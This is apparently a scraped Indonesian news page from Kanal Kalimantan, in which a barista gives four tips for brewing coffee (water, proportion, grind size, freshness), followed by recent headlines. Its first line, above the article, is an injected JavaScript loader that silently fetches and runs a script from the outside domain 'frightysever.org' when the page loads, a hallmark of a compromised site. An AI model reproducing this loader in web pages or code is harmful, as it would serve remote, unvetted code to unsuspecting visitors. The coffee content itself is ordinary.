(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Unik

4 Elemen Penting Saat Menyeduh Kopi Menurut Barista Kopi Gang


Apakah kopi yang anda buat di rumah tidak seenak kopi yang dibeli dan diseduh di kedai kopi? Bisa jadi hal itu karena beberapa hal sederhana yang tidak anda duga.

Beberapa dari kita tentu sudah pernah membeli kopi dalam bentuk biji atau bubuk di kedai kopi setelah merasakan enaknya kopi di sana. Walau kopi yang diseduh sama, rasanya ternyata tidak seenak buatan barista di kedai tersebut.

Nah, menurut Arif ketika ditemui Kanal Kalimantan, Barista Kopi Gang yang sudah berpengalaman, setidaknya ada empat hal penting yang harus diperhatikan saat menyeduh kopi agar terasa enak. Apa saja hal tersebut :

  1. Air

Sekitar 98 persen kopi yang kita minum itu terdiri dari air. Artinya, air memegang peran penting dalam menentukan rasa kopi nantinya.

Menurut Arif, sebaiknya menggunakan air yang segar, bukan yang berbau logam, obat-obatan penjernih air, atau bau tengik.

“Kita bisa menggunakan air kran selama kualitasnya bagus. Bisa juga air mineral dalam botol  walau kualitas satu merek dengan merek lainnya berbeda,” ujarnya di Kopi Gang Selasa (6/2).

Selain itu, Arif juga menyarankan tidak menggunakan air murni. Pasalnya, air seperti itu justru membuat rasa kopi menjadi datar. “Lebih baik air bermineral karena kandungan mineral akan bereaksi dengan kopi untuk mengeluarkan rasanya,” kata Arif.

Suhu atau temperatur yang tepat untuk menyeduh kopi adalah antara 90 dan 96 derajat celsius. Pada suhu itu, kopi akan terekstrak sempurna dan memunculkan flavour atau rasanya.

“Suhu bisa diukur menggunakan termometer. Namun bila tidak ada termometer, kita bisa mengakalinya dengan menunggu sekitar 1 menit setelah air mendidih, baru menuangkannya ke gelas kopi,” ujar Arif.

  1. Proporsi

“Kita sering kali memasukkan terlalu sedikit atau terlalu banyak bubuk kopi dalam gelas. Ini membuat rasa yang muncul tidak optimal,” ungkap Arif. Terlalu sedikit kopi bakal menghasilkan rasa yang pahit karena banyaknya air yang melewati bubuk kopi akan membawa serta rasa yang tidak diinginkan. Sementara terlalu banyak kopi berakibat bubuknya tidak terekstrasi dengan sempurna dan rasa kopi tidak muncul.

Resep untuk mendapatkan kopi yang enak adalah mencampurkan sendok makan bubuk kopi (14 gram) dengan 182 mililiter air atau sekitar satu cangkir.

  1. Ukuran bubuk

Hal ketiga yang menentukan rasa adalah ukuran penggilingan dari biji kopi menjadi bubuk. Ukuran ini berbeda-beda sesuai cara kita menyeduh kopi.

Arif menambahkan, umumnya untuk kopi tubruk dan penyeduhan dengan press, bubuknya agak kasar. Sedangkan untuk pour over atau flat-bottom drip sedikit halus, halus untuk saringan kerucut atau cone, dan sangat halus untuk espresso.

“Ukuran bubuk menentukan berapa lama dan berapa banyak kopi dan air bereaksi, dan seberapa banyak flavour kopi terekstraksi,” ujar Arif.

Bila bubuk terlalu halus, kopi yang dihasilkan akan berasa lebih pahit. Namun, terlalu kasar membuat kopinya kurang terekstrak dan kurang berasa.

Oleh karenanya, bubuk yang halus biasanya dipakai dalam penyeduhan menggunakan saringan, seperti pour over dan cone. Alasannya, kontak antara kopi dan air terjadi lebih singkat.

Sementara bubuk yang kasar dipakai pada pembuatan kopi tubruk dan press di mana kopi mengalami kontak lebih lama dengan air sehingga terekstraksi lebih lama juga.

  1. Kesegaran

Arif mengatakan, tentu pernah mendapati kopi yang lama disimpan akan kehilangan aroma wangi setelah beberapa saat. Kopi yang sudah tidak segar juga akan membuat rasanya kurang enak.

“Karenanya, agar tetap segar, kopi sebaiknya disimpan di wadah yang kedap udara dalam suhu ruangan. Hindarkan kopi dari oksigen, cahaya, panas, dan kelembapan berlebih,” jelasnya.

Selain itu, kopi sebaiknya juga disimpan dalam bentuk biji agar lebih tahan lama. Setelah dibuka dari wadahnya, kopi sebaiknya dihabiskan paling lama dalam waktu 7 hari.

“Kopi yang sudah dibuka dari wadahnya akan terpapar kelembapan dan terkena udara sehingga rasanya berubah,” sebutnya.

Rasa kopi juga cepat berubah karena perlakuan tertentu. Jadi, sebaiknya jangan meletakkan kopi yang sudah diseduh dalam tempat panas karena rasanya akan berbeda.

“Selain empat hal di atas, rasa kopi juga dipengaruhi oleh jenis dan biji kopi itu sendiri, cara memprosesnya, serta cara menyeduhnya,” pungkas Arif. (rendy)

Reporter: rendy
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.